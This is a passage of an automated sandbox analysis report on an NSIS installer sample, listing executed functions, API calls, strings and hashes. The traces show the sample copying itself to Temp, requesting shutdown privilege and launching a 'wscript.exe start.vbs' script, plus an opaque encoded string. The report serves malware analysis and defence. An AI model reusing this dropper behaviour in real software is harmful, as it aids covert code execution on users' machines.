0000000D.00000002.1661591240.00000000013B6000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	14%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	16.1%
Total number of Nodes:	1336
Total number of Limit Nodes:	15

Executed Functions

Function 00403532 Relevance: 77.5, APIs: 33, Strings: 11, Instructions: 464
stringfilecomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE ref: 00403555
GetVersionExW.KERNEL32(?,?,?,?,?,?,?,?), ref: 00403580
GetVersionExW.KERNEL32(?,?,?,?,?,?,?,?,?), ref: 00403593
lstrlenA.KERNEL32(UXTHEME,UXTHEME,?,?,?,?,?,?,?,?), ref: 0040362C
#17.COMCTL32(?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00403669
OleInitialize.OLE32(00000000), ref: 00403670
SHGetFileInfoW.SHELL32(0042AA28,00000000,?,000002B4,00000000), ref: 0040368F
GetCommandLineW.KERNEL32(00433700,NSIS Error,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 004036A4
CharNextW.USER32(00000000,0043F000,00000020,0043F000,00000000,?,00000008,0000000A,0000000C), ref: 004036DD
GetTempPathW.KERNEL32(00000400,C:\Users\user\AppData\Local\Temp\,00000000,00008001,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00403815
GetWindowsDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,000003FB,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00403826
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,\Temp), ref: 00403832
GetTempPathW.KERNEL32(000003FC,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,\Temp,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00403846
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,Low), ref: 0040384E
SetEnvironmentVariableW.KERNEL32(TEMP,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,Low,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 0040385F
SetEnvironmentVariableW.KERNEL32(TMP,C:\Users\user\AppData\Local\Temp\,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00403867
DeleteFileW.KERNELBASE(1033,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 0040387B
lstrlenW.KERNEL32(C:\Users\user\AppData\Local\Temp\,0043F000,00000000,?,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00403954

Part of subcall function 00406557: lstrcpynW.KERNEL32(?,?,00000400,004036A4,00433700,NSIS Error,?,00000008,0000000A,0000000C), ref: 00406564

wsprintfW.USER32 ref: 004039B1
GetFileAttributesW.KERNEL32(00437800,C:\Users\user\AppData\Local\Temp\), ref: 004039E4
DeleteFileW.KERNEL32(00437800), ref: 004039F0
SetCurrentDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\), ref: 00403A1E

Part of subcall function 00406317: MoveFileExW.KERNEL32(?,?,00000005,00405E15,?,00000000,000000F1,?,?,?,?,?), ref: 00406321

CopyFileW.KERNEL32(00442800,00437800,00000001,C:\Users\user\AppData\Local\Temp\,00000000), ref: 00403A34

Part of subcall function 00405B3A: CreateProcessW.KERNELBASE(00000000,00437800,00000000,00000000,00000000,04000000,00000000,00000000,0042FA70,?,?,?,00437800,?), ref: 00405B63
Part of subcall function 00405B3A: CloseHandle.KERNEL32(?,?,?,00437800,?), ref: 00405B70

Part of subcall function 004068B4: FindFirstFileW.KERNEL32(?,0042FAB8,0042F270,00405F77,0042F270,0042F270,00000000,0042F270,0042F270, 4ou,?,C:\Users\user\AppData\Local\Temp\,00405C83,?,756F3420,C:\Users\user\AppData\Local\Temp\), ref: 004068BF
Part of subcall function 004068B4: FindClose.KERNEL32(00000000), ref: 004068CB

ExitProcess.KERNEL32(?,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00403A7D
OleUninitialize.OLE32(?,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00403A82
ExitProcess.KERNEL32 ref: 00403A9F
CloseHandle.KERNEL32(00000000,00438000,00438000,?,00437800,00000000), ref: 00403AA6
GetCurrentProcess.KERNEL32(00000028,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00403AC2
OpenProcessToken.ADVAPI32(00000000,?,?,?,?,?,?,?,?), ref: 00403AC9
LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 00403ADE
AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,?,?,?,?,?,?,?), ref: 00403B01
ExitWindowsEx.USER32(00000002,80040002), ref: 00403B26
ExitProcess.KERNEL32 ref: 00403B49

Part of subcall function 00405B05: CreateDirectoryW.KERNELBASE(?,00000000,00403525,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,0040381C,?,00000008,0000000A,0000000C), ref: 00405B0B

Strings

TEMP, xrefs: 0040385A
C:\Users\user\AppData\Local\Temp\, xrefs: 0040380A, 0040380F, 00403825, 00403831, 00403840, 0040384D, 00403859, 00403861, 0040394F, 004039D0, 004039FC, 00403A1D, 00403A26
SeShutdownPrivilege, xrefs: 00403AD8
1033, xrefs: 00403876
NSIS Error, xrefs: 00403695
TMP, xrefs: 00403862
\Temp, xrefs: 0040382C
Low, xrefs: 00403848
UXTHEME, xrefs: 00403620, 00403625, 0040362B
~nsu%X.tmp, xrefs: 004039A8
Error launching installer, xrefs: 004038FD

Memory Dump Source

Source File: 00000000.00000002.1242324043.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1242311747.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242337097.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242406089.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yU3icg18lq.jbxd

Similarity

API ID: File$Process$Exit$CloseDirectory$CreateCurrentDeleteEnvironmentFindHandlePathTempTokenVariableVersionWindowslstrcatlstrlen$AdjustAttributesCharCommandCopyErrorFirstInfoInitializeLineLookupModeMoveNextOpenPrivilegePrivilegesUninitializeValuelstrcpynwsprintf
String ID: 1033$C:\Users\user\AppData\Local\Temp\$Error launching installer$Low$NSIS Error$SeShutdownPrivilege$TEMP$TMP$UXTHEME$\Temp$~nsu%X.tmp
API String ID: 2017177436-1121816584
Opcode ID: 2e41678f2876b0813857cd97e76b44bbe4b3eeb6df5acb682b8643e6af53fd03
Instruction ID: 6c1349364f4d22fadfcc29bbd5f82b0434b4f5ba6e08f6571c64e8404a3f48da
Opcode Fuzzy Hash: 2e41678f2876b0813857cd97e76b44bbe4b3eeb6df5acb682b8643e6af53fd03
Instruction Fuzzy Hash: 64F10270604301ABD320AF659D45B2B7AE8EF8570AF10483EF581B22D1DB7DDA45CB6E

Uniqueness

Uniqueness Score: -1.00%

Function 00403C29 Relevance: 40.5, APIs: 13, Strings: 10, Instructions: 215
stringregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0040694B: GetModuleHandleA.KERNEL32(?,00000020,?,00403642,0000000C,?,?,?,?,?,?,?,?), ref: 0040695D
Part of subcall function 0040694B: GetProcAddress.KERNEL32(00000000,?), ref: 00406978

lstrcatW.KERNEL32(1033,0042CA68), ref: 00403CAA
lstrlenW.KERNEL32(004326A0,?,?,?,004326A0,00000000,0043F800,1033,0042CA68,80000001,Control Panel\Desktop\ResourceLocale,00000000,0042CA68,00000000,00000002,756F3420), ref: 00403D2A
lstrcmpiW.KERNEL32(00432698,.exe,004326A0,?,?,?,004326A0,00000000,0043F800,1033,0042CA68,80000001,Control Panel\Desktop\ResourceLocale,00000000,0042CA68,00000000), ref: 00403D3D
GetFileAttributesW.KERNEL32(004326A0), ref: 00403D48
LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040,0043F800), ref: 00403D91

Part of subcall function 0040649E: wsprintfW.USER32 ref: 004064AB

RegisterClassW.USER32(004336A0), ref: 00403DCE
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00403DE6
CreateWindowExW.USER32(00000080,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403E1B
ShowWindow.USER32(00000005,00000000), ref: 00403E51
GetClassInfoW.USER32(00000000,RichEdit20W,004336A0), ref: 00403E7D
GetClassInfoW.USER32(00000000,RichEdit,004336A0), ref: 00403E8A
RegisterClassW.USER32(004336A0), ref: 00403E93
DialogBoxParamW.USER32(?,00000000,00403FD7,00000000), ref: 00403EB2

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00403C2E
Control Panel\Desktop\ResourceLocale, xrefs: 00403C5D
RichEd32, xrefs: 00403E65
RichEdit, xrefs: 00403E84
RichEdit20W, xrefs: 00403E75, 00403E7B
1033, xrefs: 00403C49, 00403CA5
RichEd20, xrefs: 00403E57
.exe, xrefs: 00403D37
.DEFAULT\Control Panel\International, xrefs: 00403C95
_Nb, xrefs: 00403DAD, 00403E15

Memory Dump Source

Source File: 00000000.00000002.1242324043.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1242311747.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242337097.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242406089.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yU3icg18lq.jbxd

Similarity

API ID: Class$Info$RegisterWindow$AddressAttributesCreateDialogFileHandleImageLoadModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: .DEFAULT\Control Panel\International$.exe$1033$C:\Users\user\AppData\Local\Temp\$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20W$_Nb
API String ID: 1975747703-1381961920
Opcode ID: bbb1e3748a54a273649d0fbd54a0890110e87f86c4ca5900aa60a5a95311a30e
Instruction ID: b78af383561608ccb802af496d710159af2d94eef556b4765221653e5b422f1b
Opcode Fuzzy Hash: bbb1e3748a54a273649d0fbd54a0890110e87f86c4ca5900aa60a5a95311a30e
Instruction Fuzzy Hash: 9F61C270100640BED220AF66ED46F2B3A6CEB85B5AF50013FF945B62E2DB7C59418B6D

Uniqueness

Uniqueness Score: -1.00%

Function 00403082 Relevance: 19.4, APIs: 5, Strings: 6, Instructions: 181
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00403093
GetModuleFileNameW.KERNEL32(00000000,00442800,00000400), ref: 004030AF

Part of subcall function 00406047: GetFileAttributesW.KERNELBASE(00000003,004030C2,00442800,80000000,00000003), ref: 0040604B
Part of subcall function 00406047: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 0040606D

GetFileSize.KERNEL32(00000000,00000000,00443000,00000000,00440800,00440800,00442800,00442800,80000000,00000003), ref: 004030FB
GlobalAlloc.KERNEL32(00000040,?), ref: 00403231

Strings

Inst, xrefs: 00403167
C:\Users\user\AppData\Local\Temp\, xrefs: 00403089
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 00403258
Null, xrefs: 00403179
soft, xrefs: 00403170
Error launching installer, xrefs: 004030D2

Memory Dump Source

Source File: 00000000.00000002.1242324043.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1242311747.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242337097.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242406089.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yU3icg18lq.jbxd

Similarity

API ID: File$AllocAttributesCountCreateGlobalModuleNameSizeTick
String ID: C:\Users\user\AppData\Local\Temp\$Error launching installer$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
API String ID: 2803837635-212003675
Opcode ID: 4024c06592b314d40f0961ad518ac7c722ea73bb9c6d843fd25d11ff0f4bc292
Instruction ID: 68b8bf8592918c5e7f10339d86c9767fe938295b8d0ed8def850c2c8f1d184f5
Opcode Fuzzy Hash: 4024c06592b314d40f0961ad518ac7c722ea73bb9c6d843fd25d11ff0f4bc292
Instruction Fuzzy Hash: 8251A071A00204ABDB20AF65DD85B9E7EACEB49356F10417BF900B62D1C77C9F408BAD

Uniqueness

Uniqueness Score: -1.00%

Function 004032B9 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 166
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00403323
GetTickCount.KERNEL32 ref: 004033CA
MulDiv.KERNEL32(7FFFFFFF,00000064,?), ref: 004033F3
wsprintfW.USER32 ref: 00403406

Strings

A, xrefs: 00403379
... %d%%, xrefs: 00403400
A, xrefs: 00403483
s7C2Uis1QCXirdDsbJRoyRQr3SnIJj2iloavgWO7ByppoNF/GxQY/Ittrt98YKJWcM8D10f4jLb/JqAS63xXzHGUq//JYl2D+vq8L78Qr0X2/LChlVVUvz5CzvyzT+6YKTdGPpXdfeHdr+ZWvDiYlfNyWWy7VwVQ+9ghu6fsD/5R13TYvUvX4fZH2j27RI1nTKTxw05DU9tYeu6G4ZoooHinwH9fX0KjtIeGJ94hZ+KqbW1CYb4ioLB0LV6NJBxPQPLp, xrefs: 0040333D
*B, xrefs: 004032E4

Memory Dump Source

Source File: 00000000.00000002.1242324043.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1242311747.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242337097.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242406089.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yU3icg18lq.jbxd

Similarity

API ID: CountTick$wsprintf
String ID: *B$ A$ A$... %d%%$s7C2Uis1QCXirdDsbJRoyRQr3SnIJj2iloavgWO7ByppoNF/GxQY/Ittrt98YKJWcM8D10f4jLb/JqAS63xXzHGUq//JYl2D+vq8L78Qr0X2/LChlVVUvz5CzvyzT+6YKTdGPpXdfeHdr+ZWvDiYlfNyWWy7VwVQ+9ghu6fsD/5R13TYvUvX4fZH2j27RI1nTKTxw05DU9tYeu6G4ZoooHinwH9fX0KjtIeGJ94hZ+KqbW1CYb4ioLB0LV6NJBxPQPLp
API String ID: 551687249-1076083775
Opcode ID: b04dab49cf37ea20022f46a8b7c81c1884779548b4bab61156e959bad0df676f
Instruction ID: 982be0e2f69b4341102b9ffd21d6361bbd2cc6e706b5ad6adcc0aeecd99e7a45
Opcode Fuzzy Hash: b04dab49cf37ea20022f46a8b7c81c1884779548b4bab61156e959bad0df676f
Instruction Fuzzy Hash: 1A516F71910219EBCB11CF65DA44B9E7FB8AF04756F10827BE814BB2D1C7789A40CB99

Uniqueness

Uniqueness Score: -1.00%

Function 00406594 Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 204
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryW.KERNEL32(004326A0,00000400), ref: 004066B6
GetWindowsDirectoryW.KERNEL32(004326A0,00000400,00000000,0042BA48,?,?,00000000,00000000,?,756F23A0), ref: 004066CC
SHGetPathFromIDListW.SHELL32(00000000,004326A0), ref: 0040672A
CoTaskMemFree.OLE32(00000000,?,00000000,00000007), ref: 00406733
lstrcatW.KERNEL32(004326A0,\Microsoft\Internet Explorer\Quick Launch), ref: 0040675E
lstrlenW.KERNEL32(004326A0,00000000,0042BA48,?,?,00000000,00000000,?,756F23A0), ref: 004067B8

Strings

Software\Microsoft\Windows\CurrentVersion, xrefs: 00406687
\Microsoft\Internet Explorer\Quick Launch, xrefs: 00406758

Memory Dump Source

Source File: 00000000.00000002.1242324043.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1242311747.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242337097.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242406089.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yU3icg18lq.jbxd

Similarity

API ID: Directory$FreeFromListPathSystemTaskWindowslstrcatlstrlen
String ID: Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 4024019347-730719616
Opcode ID: 2066e1c471d7490a15c1c198898eb18b068b97d6eda6cad4e7272ae8e9db0920
Instruction ID: fc62ecdfc612bfadb4c03fc2fb2820e4449372332e166df7cb208319b666a0da
Opcode Fuzzy Hash: 2066e1c471d7490a15c1c198898eb18b068b97d6eda6cad4e7272ae8e9db0920
Instruction Fuzzy Hash: 7D612571A046009BD720AF24DD84B6A76E8EF95328F16053FF643B32D0DB7C9961875E

Uniqueness

Uniqueness Score: -1.00%

Function 00401774 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 145
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcatW.KERNEL32(00000000,00000000), ref: 004017B5
CompareFileTime.KERNEL32(-00000014,?,"wscript.exe" "C:\Users\user\start.vbs","wscript.exe" "C:\Users\user\start.vbs",00000000,00000000,"wscript.exe" "C:\Users\user\start.vbs",00440000,?,?,00000031), ref: 004017DA

Part of subcall function 00406557: lstrcpynW.KERNEL32(?,?,00000400,004036A4,00433700,NSIS Error,?,00000008,0000000A,0000000C), ref: 00406564

Part of subcall function 004055DC: lstrlenW.KERNEL32(0042BA48,00000000,?,756F23A0,?,?,?,?,?,?,?,?,?,0040341D,00000000,?), ref: 00405614
Part of subcall function 004055DC: lstrlenW.KERNEL32(0040341D,0042BA48,00000000,?,756F23A0,?,?,?,?,?,?,?,?,?,0040341D,00000000), ref: 00405624
Part of subcall function 004055DC: lstrcatW.KERNEL32(0042BA48,0040341D), ref: 00405637
Part of subcall function 004055DC: SetWindowTextW.USER32(0042BA48,0042BA48), ref: 00405649
Part of subcall function 004055DC: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040566F
Part of subcall function 004055DC: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405689
Part of subcall function 004055DC: SendMessageW.USER32(?,00001013,?,00000000), ref: 00405697

Strings

C:\Users\user, xrefs: 0040183A, 00401856
"wscript.exe" "C:\Users\user\start.vbs", xrefs: 00401792, 0040179B, 004017A8, 004017BA, 004017C6, 004017FC, 00401812, 00401830, 0040186C, 004018ED, 004018F6, 00401900, 0040190B

Memory Dump Source

Source File: 00000000.00000002.1242324043.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1242311747.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242337097.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242406089.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yU3icg18lq.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID: "wscript.exe" "C:\Users\user\start.vbs"$C:\Users\user
API String ID: 1941528284-1239878696
Opcode ID: 5d94e8e5950a8b2ff13ebbfcdf8ec3f64fd71dec5ee91277c9a67e4679359a3d
Instruction ID: f3bec3fd9c2ad120a03a9c06557e7274b723a0da437845685234e4033458a62e
Opcode Fuzzy Hash: 5d94e8e5950a8b2ff13ebbfcdf8ec3f64fd71dec5ee91277c9a67e4679359a3d
Instruction Fuzzy Hash: 0B419471800108BACB11BFA5DD85DBE76B9EF45328B21423FF412B10E2DB3C8A519A2D

Uniqueness

Uniqueness Score: -1.00%

Function 004068DB Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 36
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryW.KERNEL32(?,00000104), ref: 004068F2
wsprintfW.USER32 ref: 0040692D
LoadLibraryExW.KERNELBASE(?,00000000,00000008), ref: 00406941

Strings

UXTHEME, xrefs: 004068E4
%s%S.dll, xrefs: 00406927

Memory Dump Source

Source File: 00000000.00000002.1242324043.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1242311747.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242337097.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242406089.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yU3icg18lq.jbxd

Similarity

API ID: DirectoryLibraryLoadSystemwsprintf
String ID: %s%S.dll$UXTHEME
API String ID: 2200240437-1106614640
Opcode ID: 7a73cbb44207cafadb11ab8eaaa41fd963bfa172cfc882b2dd9c54e233860d96
Instruction ID: a217f45d9ff01499786c61cea798a126a457230594f844882b590dd92c6ddc53
Opcode Fuzzy Hash: 7a73cbb44207cafadb11ab8eaaa41fd963bfa172cfc882b2dd9c54e233860d96
Instruction Fuzzy Hash: 69F0F671501219A6CF14BB68DD0DF9B376CAB40304F21447AA646F20E0EB789B69CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 00406076 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00406094
GetTempFileNameW.KERNELBASE(?,?,00000000,?,?,?,00000000,00403530,1033,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,0040381C), ref: 004060AF

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 0040607B
nsa, xrefs: 00406083

Memory Dump Source

Source File: 00000000.00000002.1242324043.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1242311747.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242337097.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242406089.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yU3icg18lq.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: C:\Users\user\AppData\Local\Temp\$nsa
API String ID: 1716503409-2042855515
Opcode ID: 017de5c5da22b1c6cf72d7a8a287ef2c48f88e3ac937424cf3c6df762bd8e462
Instruction ID: 86e06e500a6970b3bc5bd370241205c1b86a0a172d82c816bfbfc8c597d973d5
Opcode Fuzzy Hash: 017de5c5da22b1c6cf72d7a8a287ef2c48f88e3ac937424cf3c6df762bd8e462
Instruction Fuzzy Hash: 65F09076B50204FBEB10CF69ED05F9EB7ACEB95750F11803AED05F7240E6B099548768

Uniqueness

Uniqueness Score: -1.00%

Function 004015C6 Relevance: 3.1, APIs: 2, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00405ED1: CharNextW.USER32(?,?,0042F270,?,00405F45,0042F270,0042F270, 4ou,?,C:\Users\user\AppData\Local\Temp\,00405C83,?,756F3420,C:\Users\user\AppData\Local\Temp\,0043F000), ref: 00405EDF
Part of subcall function 00405ED1: CharNextW.USER32(00000000), ref: 00405EE4
Part of subcall function 00405ED1: CharNextW.USER32(00000000), ref: 00405EFC

GetFileAttributesW.KERNELBASE(?,?,00000000,0000005C,00000000,000000F0), ref: 0040161F

Part of subcall function 00405AAB: CreateDirectoryW.KERNEL32(00437800,?), ref: 00405AED

SetCurrentDirectoryW.KERNELBASE(?,00440000,?,00000000,000000F0), ref: 00401652

Memory Dump Source

Source File: 00000000.00000002.1242324043.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1242311747.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242337097.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242406089.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yU3icg18lq.jbxd

Similarity

API ID: CharNext$Directory$AttributesCreateCurrentFile
String ID:
API String ID: 1892508949-0
Opcode ID: 17db5344e59f9fcfaa0a8c6f5cb64453528f6d3e60a55d917771fd137aa83741
Instruction ID: 6fd3d265dcb44280b24f8e6f21651466162e19908bb00ba525d5af3adea1cd3c
Opcode Fuzzy Hash: 17db5344e59f9fcfaa0a8c6f5cb64453528f6d3e60a55d917771fd137aa83741
Instruction Fuzzy Hash: F211E231404104ABCF206FA5CD0159F36B0EF04368B25493FE945B22F1DA3D4A81DA5E

Uniqueness

Uniqueness Score: -1.00%

Function 00401389 Relevance: 3.0, APIs: 2, Instructions: 43
